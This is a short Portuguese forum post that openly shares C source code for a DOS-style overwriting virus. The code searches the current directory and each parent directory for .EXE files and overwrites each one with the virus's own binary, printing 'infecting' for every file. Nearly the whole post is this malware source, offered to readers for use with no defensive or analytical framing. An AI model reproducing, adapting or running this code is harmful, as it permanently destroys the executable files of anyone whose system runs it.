Olá pessoal quero compartilhar com vocês um código fonte de um Vírus que sobrescreve arquivos executáveis (.EXE) que estiver no diretório atual ou no diretório Pai.
Vírus.
Espero que gostem.
WCG 147
Vírus.
Código:
#include<stdio.h> #include<dir.h> #include<dos.h> void main(int argc,char *argv[]) { int bytes,i,done; FILE *virus,*host; struct ffblk *f; char buffer[512]; do { done=findfirst("*.exe",f,0); while(!done) { virus=fopen(argv[0],"rb");//abrir o vírus em modo de leitura host=fopen(f->ff_name,"rb+");//abra o arquivo host no r / w modo for(;fread(buffer,512,1,virus)==1;) fwrite(buffer,512,1,host); fclose(host); fseek(virus,0,0);//pontos para o início do vírus printf("infecting %s ",f->ff_name); done=findnext(f); } } while(!chdir("..")); printf("WCG 147");
Espero que gostem.
WCG 147
Comment